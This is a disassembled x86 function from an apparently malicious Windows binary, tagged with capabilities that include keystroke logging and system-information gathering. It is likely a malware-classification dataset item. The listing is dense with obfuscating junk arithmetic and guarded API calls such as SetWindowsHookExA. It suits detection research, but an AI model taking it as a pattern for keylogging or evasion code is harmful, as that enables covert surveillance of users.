Function at 0x10035fe3
Capabilities:
Accept command line arguments
Get system information on windows
Log keystrokes
Log keystrokes via polling

Disassembly:
mov eax, 0x1006f40a
call fcn.1006df08
sub esp, 0xb9c
push ebx
push esi
xor eax, eax
mov byte [ebp - 0x62], dl
push edi
inc eax
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x14], eax
mov esi, 0xfa9b64fd
mov dword [ebp - 0x18], esi
mov edi, 0xb058efa9
mov dword [ebp - 0x10], edi
xor ebx, ebx
mov dword [ebp - 0x24], ebx
push 7
mov dword [ebp - 0x10], 0xa5d732ad
pop eax
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x10], eax
push 0xffffffffffffffe7
pop eax
mov dword [ebp - 0x34], 0xea1b1489
mov dword [ebp - 0x14], eax
jmp 0x1003603e
cmp dword [ebp - 0x14], ebx
jne 0x10036043
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jl 0x10036036
mov eax, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setg dl
mov dword [ebp - 0x10], edx
xor edx, edx
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setle cl
xor edx, edx
sub ecx, 0xc65
cmp ecx, eax
setg dl
sub edx, 0xffff
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x10], edx
xor edx, edx
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
cmp eax, ecx
setl dl
xor eax, eax
cmp edx, 0x857b
setg al
xor ecx, ecx
cmp eax, 0x9495
setge cl
sub ecx, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp - 0x24]
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x18]
je 0x100360d6
cmp dword [ebp - 0x18], ebx
jne 0x100360d6
mov edx, ebx
jmp 0x100360d9
xor edx, edx
inc edx
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp edx, eax
push 7
setle cl
xor edx, edx
imul ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
cmp ecx, 0xfffffff7
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x24], ebx
pop esi
mov dword [ebp - 0x10], 0xa5d732ad
mov dword [ebp - 0x2c], ebx
push 0xffffffffffffffe7
mov dword [ebp - 0x10], esi
pop eax
mov dword [ebp - 0x34], 0xea1b1489
mov dword [ebp - 0x14], eax
jmp 0x10036133
cmp dword [ebp - 0x14], ebx
jne 0x10036138
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jl 0x1003612b
mov eax, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setg dl
mov dword [ebp - 0x10], edx
xor edx, edx
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setle cl
xor edx, edx
sub ecx, 0xc65
cmp ecx, eax
setg dl
sub edx, 0xffff
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x10], edx
xor edx, edx
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
cmp eax, ecx
setl dl
xor eax, eax
cmp edx, 0x857b
setg al
xor ecx, ecx
cmp eax, 0x9495
setge cl
sub ecx, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp - 0x24]
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x18]
je 0x100361cb
cmp dword [ebp - 0x18], ebx
jne 0x100361cb
mov edx, ebx
jmp 0x100361ce
xor edx, edx
inc edx
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp edx, eax
push 5
setle cl
xor edx, edx
imul ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
cmp ecx, 0xfffffff7
setle dl
xor ecx, ecx
cmp edx, eax
pop eax
setg cl
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], ebx
jmp 0x1003620d
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x3f8], 0x56834504
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x100361fc
mov edi, dword [sym.imp.GDI32.dll_MoveToEx]
mov dword [ebp - 0x10], ebx
mov ebx, dword [sym.imp.USER32.dll_SetWindowsHookExA]
jmp 0x100362b9
push 2
lea ecx, [ebp - 0x5c8]
call fcn.1000b098
xor edx, edx
mov dword [ebp - 0x18], edx
jmp 0x1003624a
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x5c8]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1003623b
mov byte [ebp - 0x2d], dl
cmp byte [ebp - 0x2d], dl
je 0x10036268
push 0x1aaf
push edx
push edx
push 0x590
call ebx
xor edx, edx
mov esi, dword [ebp - 0x5c8]
mov dword [esi + 4], 1
mov byte [ebp - 0x2d], dl
cmp byte [ebp - 0x2d], 0
je 0x10036292
push edx
push 0x741
push 0x74b
push 0x16e7
call edi
xor edx, edx
mov eax, dword [esi + 4]
mov ecx, dword [ebp + eax*4 - 0x3f8]
mov eax, dword [ebp - 0x10]
dec dword [esi + 4]
mov dword [ebp + eax*4 - 0x3f8], ecx
jns 0x10036275
lea ecx, [ebp - 0x5c8]
call fcn.1000b285
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 1
jle 0x10036227
xor ecx, ecx
mov byte [ebp - 0x2d], cl
cmp byte [ebp - 0x2d], cl
je 0x100362d6
push ecx
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
xor ecx, ecx
push 0xa
pop eax
mov dword [ebp - 0x14], 0xfffffffc
mov dword [ebp - 0x14], 0xffffffee
mov dword [ebp - 0xa4], eax
jmp 0x100363b3
mov dword [ebp - 0x28], 0x1e94
cmp dword [ebp - 0x28], 0xc13
jge 0x10036361
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0xc8]
push eax
push 0x1000782c
call fcn.100550ab
mov esi, dword [ebp - 0x1cc]
add esp, 0xc
mov ecx, dword [ebp - 0xc8]
test esi, esi
je 0x10036348
mov eax, ecx
dec esi
cdq
idiv dword [ebp - 0xa4]
test edx, edx
jle 0x1003633e
dec ecx
jmp 0x10036340
mov ecx, eax
mov dword [ebp - 0xc8], ecx
jmp 0x10036329
push ecx
dec esi
push 0x10007a50
mov dword [ebp - 0x1cc], esi
call fcn.100552a0
pop ecx
pop ecx
push 0xa
xor ecx, ecx
pop eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0xffffffe2
je 0x100363b0
push 7
pop esi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jl 0x100363a7
mov byte [ebp - 0x2d], cl
cmp byte [ebp - 0x2d], 0
je 0x1003639c
push ecx
push 0xa90
push 0x487
push 0x1f57
call dword [sym.imp.GDI32.dll_SetPixel]
xor ecx, ecx
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jge 0x1003637b
push 0xa
pop eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe2
jne 0x10036370
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff3
jne 0x100362f2
xor edx, edx
inc edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x34], 0xa860b4ff
mov dword [ebp - 0x18], 0x25ec560
mov dword [ebp - 0x38], 0xd015b01d
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x14], ecx
jmp 0x100363f1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x98], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100363e4
mov dword [ebp - 0x14], ecx
jmp 0x1003640c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x960], 0x5ff57440
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100363fb
mov dword [ebp - 0x34], ecx
jmp 0x10036428
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x98], 0x71c7
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edx
jl 0x10036417
push 3
mov dword [ebp - 0x34], ecx
pop esi
jmp 0x10036598
lea ecx, [ebp - 0x5e0]
call fcn.1000b098
xor edx, edx
mov dword [ebp - 4], edx
mov dword [ebp - 0x28], 0x5950
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x14], edx
jmp 0x1003646c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf0], 1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1003645b
mov dword [ebp - 0x14], edx
jmp 0x10036489
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x5e0]
mov dword [eax + ecx*4], 0x5610a143
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10036476
mov dword [ebp - 0xe8], edx
jmp 0x10036566
push 4
lea ecx, [ebp - 0x70c]
call fcn.1000b098
xor edx, edx
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x10], edx
jmp 0x100364c7
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x70c]
mov dword [eax + ecx*4], 0xfffffff8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100364b4
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp + eax*4 - 0x98]
mov eax, dword [ebp - 0x34]
inc dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x954]
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp + eax*4 - 0x98]
mov eax, dword [ebp - 0xe8]
cmp dword [ebp + eax*4 - 0x98], edx
jne 0x10036508
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0xe8]
xor edx, edx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xec]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x5e0]
setl dl
xor ecx, ecx
mov dword [eax], edx
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp + eax*4 - 0x98]
cmp eax, 1
setg cl
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x70c]
call fcn.1000b285
inc dword [ebp - 0xe8]
xor edx, edx
cmp dword [ebp - 0xe8], edx
jle 0x10036499
mov byte [ebp - 0x2d], dl
cmp byte [ebp - 0x2d], 0
je 0x10036586
push 0x59f
call dword [sym.imp.GDI32.dll_EndDoc]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5e0]
call fcn.1000b285
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xffffffe3
push esi
jg 0x10036438
mov dword [ebp - 0x10], 0xfa9b64fd
lea ecx, [ebp - 0x5f8]
call fcn.1000b098
mov dword [ebp - 0x18], 0xd00693e9
xor edx, edx
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x28], 0xfffffff7
mov dword [ebp - 0x14], edx
jmp 0x100365e1
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x5f8]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100365d1
xor ecx, ecx
mov dword [ebp - 0x14], edx
inc ecx
jmp 0x100365fb
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2ac], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100365ee
mov ecx, dword [ebp - 0x5f8]
cmp dword [ecx + 8], edx
je 0x1003665b
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ecx + 8], esi
xor ecx, ecx
cmp eax, 4
mov eax, dword [ebp - 0x18]
setne cl
xor edx, edx
cmp ecx, eax
setne dl
xor ecx, ecx
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
cmp edx, eax
mov eax, dword [ebp - 0x18]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
imul eax, ecx, 0x921b
cmp esi, eax
jle 0x10036659
xor eax, eax
inc eax
jmp 0x1003665d
xor edx, edx
mov eax, edx
cmp eax, 0xffff
mov eax, dword [ebp - 0x24]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
lea ecx, [ebp - 0x5f8]
setge dl
sub edx, dword [ebp - 0x2ac]
mov dword [ebp - 0x28], edx
call fcn.1000b285
mov dword [ebp - 0x3c], 0xb058efa9
xor ecx, ecx
mov dword [ebp - 0x20], 0x43d837bc
xor edx, edx
mov dword [ebp - 0x24], ecx
inc edx
mov dword [ebp - 0x18], ecx
jmp 0x100366ac
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x78], 0x624039b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1003669e
mov dword [ebp - 0x20], ecx
push 3
pop esi
cmp dword [ebp - 0x20], ecx
jl 0x1003689e
mov dword [ebp - 0x34], 4
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x2b8]
push esi
call fcn.1000b098
xor edx, edx
xor ecx, ecx
inc edx
mov dword [ebp - 4], edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], esi
jge 0x10036703
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2b8]
mov dword [eax + ecx*4], 0xb9193c1d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100366e9
xor ecx, ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x78], edx
mov eax, dword [ebp - 0x34]
inc eax
je 0x10036717
mov eax, edx
cmp dword [ebp - 0x20], ecx
jne 0x10036719
mov eax, ecx
mov dword [ebp - 0x24], eax
xor edx, edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setg dl
xor eax, eax
cmp eax, edx
mov eax, dword [ebp - 0x2b8]
sbb ecx, ecx
neg ecx
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2b8]
mov eax, dword [eax]
add eax, 0x1a7b6698
je 0x1003681a
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x34], eax
jmp 0x1003680f
push esi
lea ecx, [ebp - 0x610]
call fcn.1000b098
xor edx, edx
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x18], edx
jmp 0x1003679c
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x610]
mov dword [eax + ecx*4], 0x4151c8b9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10036789
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
sub ecx, 0x1c8299f1
mov dword [ebp + eax*4 - 0x78], ecx
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x78], edx
jne 0x100367bd
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x8a4198fe
mov dword [ebp - 0x14], edx
jmp 0x100367fa
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x610]
mov dword [eax + ecx*4], 0xa6d983a5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100367e7
lea ecx, [ebp - 0x610]
call fcn.1000b285
inc dword [ebp - 0x34]
xor eax, eax
cmp dword [ebp - 0x34], eax
jle 0x1003676f
jmp 0x10036873
mov dword [ebp - 0x3c], 0xcb0b
xor edx, edx
mov dword [ebp - 0x28], 0xb2cb
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2b8]
push 7
pop ecx
cmp dword [eax + 8], ecx
jae 0x10036846
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
jmp 0x10036847
inc edx
mov eax, dword [ebp - 0x78]
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x78], 0
jne 0x10036860
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
mov eax, dword [ebp - 0x78]
cmp eax, 0xfffffffb
setg cl
xor eax, eax
mov dword [ebp - 0x28], ecx
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10036883
push eax
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2b8]
call fcn.1000b285
dec dword [ebp - 0x20]
push 0
pop ecx
jns 0x100366c0
mov dword [ebp - 0x24], 0xffffffea
jmp 0x100368dd
mov dword [ebp - 0x20], 0xffffffe9
jmp 0x100368d4
mov dword [ebp - 0x18], 0xdaf140b3
mov dword [ebp - 0x18], ecx
jmp 0x100368cb
mov dword [ebp - 0x28], 9
cmp dword [ebp - 0x28], ecx
jne 0x100368d1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x18
je 0x100368bc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x1b
jle 0x100368b0
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe3
jle 0x100368a7
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x5d4]
mov dword [ebp - 0x2c], 0x6f5a9c4c
push esi
call fcn.1000b098
push 2
pop esi
push 3
pop eax
mov dword [ebp - 4], esi
lea ecx, [ebp - 0x628]
mov dword [ebp - 0x18], 0
push eax
call fcn.1000b098
xor edx, edx
mov dword [ebp - 0x14], edx
jmp 0x1003692f
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x5d4]
mov dword [eax + ecx*4], 0x44a75432
inc dword [ebp - 0x14]
push 3
pop eax
cmp dword [ebp - 0x14], eax
jl 0x1003691c
mov dword [ebp - 0x14], edx
jmp 0x1003694f
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x628]
push 3
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], eax
jl 0x1003693c
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x5d4]
cmp dword [ecx], eax
jle 0x10036970
cmp dword [ecx + 8], edx
jne 0x10036970
xor ecx, ecx
mov eax, edx
inc ecx
jmp 0x10036975
xor ecx, ecx
inc ecx
mov eax, ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edx
je 0x10036980
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x628]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x628]
call fcn.1000b285
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5d4]
call fcn.1000b285
mov dword [ebp - 0x3c], 0xa5d732ad
xor ecx, ecx
mov dword [ebp - 0x34], ecx
xor edx, edx
push 7
pop eax
mov dword [ebp - 0x3c], eax
inc edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x14], 4
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x18], ecx
jmp 0x100369e1
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x274], 5
inc dword [ebp - 0x18]
push 3
pop eax
cmp dword [ebp - 0x18], eax
jl 0x100369d0
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], ecx
je 0x10036a23
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
jle 0x10036a0b
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x26c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], 0x32d683a7
mov dword [ebp - 0x14], esi
cmp dword [ebp - 0x14], ecx
jl 0x10036a9e
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x28], 0x3d4c4698
cmp dword [ebp - 0x2c], ecx
jne 0x10036a9b
mov eax, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x26c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x24], 0xfffffff9
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x274]
mov eax, dword [ebp - 0x26c]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setg dl
xor ecx, ecx
cmp edx, 0x1b4373c9
push 0
setne cl
dec ecx
mov dword [ebp + eax*4 - 0x274], ecx
dec dword [ebp - 0x14]
pop ecx
jns 0x10036a38
xor edx, edx
inc edx
mov dword [ebp - 0x28], 0xea1b1489
lea ecx, [ebp - 0x46c]
mov dword [ebp - 0x20], 0xfffffffe
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x24], 0xcfadbac
push edx
call fcn.1000b098
push 3
pop eax
mov dword [ebp - 4], eax
xor edx, edx
mov dword [ebp - 0x2c], 0x8f82ea91
mov eax, 0x90d2
mov dword [ebp - 0x2c], 0x89a03083
inc edx
mov dword [ebp - 0x658], eax
mov dword [ebp - 0x654], eax
mov dword [ebp - 0x650], eax
mov dword [ebp - 0x64c], eax
mov dword [ebp - 0x18], 0
jmp 0x10036b16
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x46c]
mov dword [eax + ecx*4], 9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10036b03
mov eax, dword [ebp - 0x20]
xor edx, edx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setne cl
xor edx, edx
cmp ecx, eax
setge dl
sub edx, 0xfffffff7
neg edx
sbb edx, edx
xor esi, esi
inc edx
inc esi
mov dword [ebp - 0x18], edx
mov ecx, esi
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
sub ecx, eax
je 0x10036bb9
movdqa xmm0, xmmword [0x10008010]
lea ecx, [ebp - 0x844]
push ecx
lea eax, [ebp - 0x834]
push eax
push ecx
lea ecx, [ebp - 0x92c]
movdqu xmmword [ebp - 0x844], xmm0
call fcn.1002f3f5
push 3
mov dword [ebp - 0x44], 0xee72c34c
mov dword [ebp - 0x20], 0
pop eax
jmp 0x10036ba9
mov dword [ebp - 0x3c], 0xe9a5a165
inc dword [ebp - 0x3c]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jle 0x10036b9c
lea ecx, [ebp - 0x92c]
jmp 0x10036cc7
push 2
lea ecx, [ebp - 0x378]
call fcn.1000b098
xor eax, eax
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x10036bf3
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x378]
mov dword [eax + ecx*4], 0xa70a1ee3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10036bd8
xor eax, eax
push 0xffffffffffffffed
pop ecx
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], ecx
jge 0x10036c70
mov dword [ebp - 0x3c], 0xffffffff
xor ecx, ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x3c], esi
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x378]
mov edx, dword [eax]
mov eax, dword [ebp - 0x24]
cmp edx, eax
mov eax, dword [ebp - 0x46c]
setg cl
sub ecx, dword [eax]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edx
setne al
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x2c]
test eax, eax
je 0x10036c45
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
cmp eax, ecx
push 0
setl dl
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x3c], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffed
pop eax
jl 0x10036bfe
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x658]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x378]
mov edx, dword [eax]
xor eax, eax
cmp edx, 0xfff6
setne al
xor ecx, ecx
test eax, eax
setns cl
xor eax, eax
cmp ecx, edx
setne al
xor edx, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
cmp eax, 0xfffffffe
mov eax, dword [ebp - 0x24]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x378]
call fcn.1000b285
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x46c]
call fcn.1000b285
push 0xffffffffffffffe7
pop eax
mov dword [ebp - 0x14], eax
jmp 0x10036cec
cmp dword [ebp - 0x14], 0
jne 0x10036cf1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jl 0x10036ce3
movdqa xmm0, xmmword [0x10007fd0]
lea ecx, [ebp - 0x864]
push ecx
lea eax, [ebp - 0x854]
mov dword [ebp - 0x44], 9
push eax
push ecx
mov dword [ebp - 0x44], 0xffffffff
lea ecx, [ebp - 0x944]
mov dword [ebp - 0x44], 0x8a59c176
movdqu xmmword [ebp - 0x864], xmm0
call fcn.1002f3f5
mov dword [ebp - 0x44], esi
lea ecx, [ebp - 0x944]
mov dword [ebp - 0x44], 0x7525d2d9
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x44], 0xfffffff7
mov dword [ebp - 0x3c], 2
inc dword [ebp - 0x3c]
call fcn.1000b285
mov eax, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setg dl
mov dword [ebp - 0x3c], edx
xor edx, edx
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x38]
setle cl
xor edx, edx
sub ecx, 0xc65
cmp ecx, eax
setg dl
sub edx, 0xffff
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x3c], edx
xor edx, edx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x3c]
cmp eax, ecx
setl dl
xor eax, eax
cmp edx, 0x857b
setg al
xor ecx, ecx
cmp eax, 0x9495
setge cl
sub ecx, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp - 0x38]
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x10]
je 0x10036df0
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x10], eax
je 0x10036df2
mov edx, esi
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
push 3
setle cl
xor edx, edx
imul ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
cmp ecx, 0xfffffff7
setle dl
xor ecx, ecx
cmp edx, eax
pop eax
setg cl
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x724]
